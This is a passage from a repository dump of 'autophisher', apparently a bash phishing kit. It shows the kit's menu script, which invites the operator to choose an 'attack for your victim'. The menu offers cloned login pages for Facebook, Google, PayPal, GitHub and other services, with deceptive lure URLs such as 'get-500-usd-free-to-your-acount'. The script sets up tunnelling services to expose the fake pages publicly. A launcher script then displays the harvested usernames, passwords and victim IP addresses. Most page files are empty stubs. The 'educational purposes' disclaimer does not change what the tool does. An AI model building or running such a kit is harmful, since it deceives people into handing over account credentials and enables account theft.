𝙎𝙀𝙇𝙀𝘾𝙏 𝘼𝙉𝙔 𝘼𝙏𝙏𝘼𝘾𝙆 𝙁𝙊𝙍 𝙔𝙊𝙐𝙍 𝙑𝙄𝘾𝙏𝙄𝙈 ${WHITE}[${GREEN}::${WHITE}]${BLUE} 561 | 562 | ${WHITE}[${GREEN}::${WHITE}]${RED} 𝙋𝙃𝙄𝙎𝙃𝙄𝙉𝙂-𝙈𝙊𝘿𝙐𝙇𝙀𝙎: ${WHITE}[${GREEN}::${WHITE}]${RED} 563 | 564 | ${WHITE}[${GREEN}01${WHITE}]${BLUE} Facebook ${WHITE}[${GREEN}02${WHITE}]${BLUE} Instagram ${WHITE}[${GREEN}03${WHITE}]${BLUE} Google 565 | 566 | ${WHITE}[${GREEN}04${WHITE}]${BLUE} Snapchat ${WHITE}[${GREEN}05${WHITE}]${BLUE} Microsoft ${WHITE}[${GREEN}06${WHITE}]${BLUE} Linkedin 567 | 568 | ${WHITE}[${GREEN}07${WHITE}]${BLUE} Paypal ${WHITE}[${GREEN}08${WHITE}]${BLUE} Twitter ${WHITE}[${GREEN}09${WHITE}]${BLUE} Spotify 569 | 570 | ${WHITE}[${GREEN}10${WHITE}]${BLUE} Mediafire ${WHITE}[${GREEN}11${WHITE}]${BLUE} Github 571 | 572 | 573 | ${WHITE}[${GREEN}99${WHITE}]${BLUE} About ${WHITE}[${GREEN}00${WHITE}]${BLUE} Exit 574 | 575 | EOF 576 | 577 | read -p "${WHITE}[${GREEN}-${WHITE}]${RED} 𝙎𝙀𝙇𝙀𝘾𝙏 𝘼𝙉 𝙊𝙋𝙏𝙄𝙊𝙉 : ${RED}" 578 | 579 | case $REPLY in 580 | 1 | 01) 581 | site_facebook;; 582 | 2 | 02) 583 | site_instagram;; 584 | 3 | 03) 585 | site_gmail;; 586 | 4 | 04) 587 | website="snapchat" 588 | mask='http://view-locked-snapchat-accounts-secretly' 589 | tunnel_menu;; 590 | 5 | 05) 591 | website="microsoft" 592 | mask='http://unlimited-onedrive-space-for-free' 593 | tunnel_menu;; 594 | 6 | 06) 595 | website="linkedin" 596 | mask='http://get-a-premium-plan-for-linkedin-free' 597 | tunnel_menu;; 598 | 7 | 07) 599 | website="paypal" 600 | mask='http://get-500-usd-free-to-your-acount' 601 | tunnel_menu;; 602 | 8 | 08) 603 | website="twitter" 604 | mask='http://get-blue-badge-on-twitter-free' 605 | tunnel_menu;; 606 | 9 | 09) 607 | website="spotify" 608 | mask='http://convert-your-account-to-spotify-premium' 609 | tunnel_menu;; 610 | 10 | 10) 611 | website="mediafire" 612 | mask='http://get-1TB-on-mediafire-free' 613 | tunnel_menu;; 614 | 11 | 11) 615 | website="github" 616 | mask='http://get-1k-followers-on-github-free' 617 | tunnel_menu;; 618 | 619 | 620 | 99) 621 | about;; 622 | 0 | 00 ) 623 | msg_exit;; 624 | *) 625 | echo -ne "\n${WHITE}[${GREEN}!${WHITE}]${BLUE} Invalid Option, Try Again..." 626 | { sleep 1; main_menu; };; 627 | 628 | esac 629 | } 630 | 631 | ## Main 632 | kill_pid 633 | dependencies 634 | install_ngrok 635 | install_cloudflared 636 | install_localxpose 637 | main_menu 638 | -------------------------------------------------------------------------------- /crkgithub/android.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodingRanjith/autophisher/7c4b889385e3c163ea8af391dcc6518509e964a7/crkgithub/android.jpg -------------------------------------------------------------------------------- /crkgithub/linuxlogo.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodingRanjith/autophisher/7c4b889385e3c163ea8af391dcc6518509e964a7/crkgithub/linuxlogo.jpg -------------------------------------------------------------------------------- /crkgithub/logo.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodingRanjith/autophisher/7c4b889385e3c163ea8af391dcc6518509e964a7/crkgithub/logo.jpg -------------------------------------------------------------------------------- /scripts/launch.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # https://github.com/CodingRanjith/autophisher 4 | 5 | if [[ $(uname -o) == *'Android'* ]];then 6 | AUTOPHISHER_ROOT="/data/data/com.termux/files/usr/opt/autophisher" 7 | else 8 | export AUTOPHISHER_ROOT="/opt/autophisher" 9 | fi 10 | 11 | if [[ $1 == '-h' || $1 == 'help' ]]; then 12 | echo "To run autophisher type \`autophisher\` in your cmd" 13 | echo 14 | echo "Help:" 15 | echo " -h | help : Print this menu & Exit" 16 | echo " -c | auth : View Saved Credentials" 17 | echo " -i | ip : View Saved Victim IP" 18 | echo 19 | elif [[ $1 == '-c' || $1 == 'auth' ]]; then 20 | cat $AUTOPHISHER_ROOT/auth/usernames.dat 2> /dev/null || { 21 | echo "No Credentials Found !" 22 | exit 1 23 | } 24 | elif [[ $1 == '-i' || $1 == 'ip' ]]; then 25 | cat $AUTOPHISHER_ROOT/auth/ip.txt 2> /dev/null || { 26 | echo "No Saved IP Found !" 27 | exit 1 28 | } 29 | else 30 | cd $AUTOPHISHER_ROOT 31 | bash ./autophisher.sh 32 | fi 33 | -------------------------------------------------------------------------------- /sites/facebook/LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2021 KasRoudra 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /sites/facebook/README.md: -------------------------------------------------------------------------------- 1 | # Facebook Static Login Form (Full offline css and js) 2 | 3 | ## Author: [KasRoudra](https://github.com/KasRoudra) 4 | 5 | #### This is created for educational purposes demonstrating how phishing works. 6 | 7 | ### Use/Copy it legally and provide proper credit -------------------------------------------------------------------------------- /sites/facebook/hsts-pixel.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodingRanjith/autophisher/7c4b889385e3c163ea8af391dcc6518509e964a7/sites/facebook/hsts-pixel.gif -------------------------------------------------------------------------------- /sites/facebook/index.php: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /sites/facebook/login.php: -------------------------------------------------------------------------------- 1 | 6 | -------------------------------------------------------------------------------- /sites/facebook/logo.svg: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /sites/fb_advanced/index.php: -------------------------------------------------------------------------------- 1 | 6 | -------------------------------------------------------------------------------- /sites/fb_advanced/login.html: -------------------------------------------------------------------------------- 1 | 2 | 3 |
4 | 22 | 23 |